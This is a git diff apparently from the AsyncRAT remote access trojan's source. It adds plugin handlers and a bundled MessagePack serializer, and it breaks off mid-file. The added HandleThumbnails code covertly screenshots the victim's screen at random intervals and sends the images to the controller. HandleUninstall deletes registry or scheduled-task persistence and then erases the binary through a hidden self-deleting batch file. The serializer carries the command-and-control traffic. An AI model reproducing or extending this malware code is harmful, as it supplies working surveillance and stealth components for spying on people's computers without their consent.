b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs @@ -0,0 +1,48 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin.Handler +{ + public class HandleThumbnails + { + public HandleThumbnails() + { + try + { + Packet.ctsThumbnails?.Cancel(); + Packet.ctsThumbnails = new CancellationTokenSource(); + + while (Connection.IsConnected && !Packet.ctsThumbnails.IsCancellationRequested) + { + Thread.Sleep(new Random().Next(2500, 7000)); + Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); + using (Graphics g = Graphics.FromImage(bmp)) + using (MemoryStream memoryStream = new MemoryStream()) + { + g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); + Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); + thumb.Save(memoryStream, ImageFormat.Jpeg); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); + Connection.Send(msgpack.Encode2Bytes()); + thumb.Dispose(); + } + bmp.Dispose(); + } + } + catch { } + Connection.Disconnected(); + } + } + +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUAC.cs similarity index 84% rename from AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs rename to AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUAC.cs index 8e8214a..3c48c07 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUAC.cs @@ -1,15 +1,10 @@ -using Client.Helper; -using Microsoft.Win32; -using System; +using System; using System.Collections.Generic; using System.Diagnostics; -using System.IO; using System.Linq; -using System.Security.Principal; using System.Text; -using System.Windows.Forms; -namespace Client.Handle_Packet +namespace Plugin.Handler { public class HandleUAC { @@ -37,4 +32,5 @@ namespace Client.Handle_Packet catch { } } } + } diff --git a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs new file mode 100644 index 0000000..2602919 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs @@ -0,0 +1,62 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace Plugin.Handler +{ + public class HandleUninstall + { + public HandleUninstall() + { + if (Convert.ToBoolean(Plugin.Install)) + { + try + { + if (!Methods.IsAdmin()) + Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Plugin.InstallFile); + else + { + Process.Start(new ProcessStartInfo() + { + FileName = "schtasks", + Arguments = "/delete /f /tn " + @"""'" + Plugin.InstallFile + @"""'", + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + } + catch { } + } + + string batch = Path.GetTempFileName() + ".bat"; + using (StreamWriter sw = new StreamWriter(batch)) + { + sw.WriteLine("@echo off"); + sw.WriteLine("timeout 3 > NUL"); + sw.WriteLine("CD " + Application.StartupPath); + sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q"); + sw.WriteLine("CD " + Path.GetTempPath()); + sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); + } + Process.Start(new ProcessStartInfo() + { + FileName = batch, + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + + Methods.ClientExit(); + Environment.Exit(0); + } + } + +} diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = 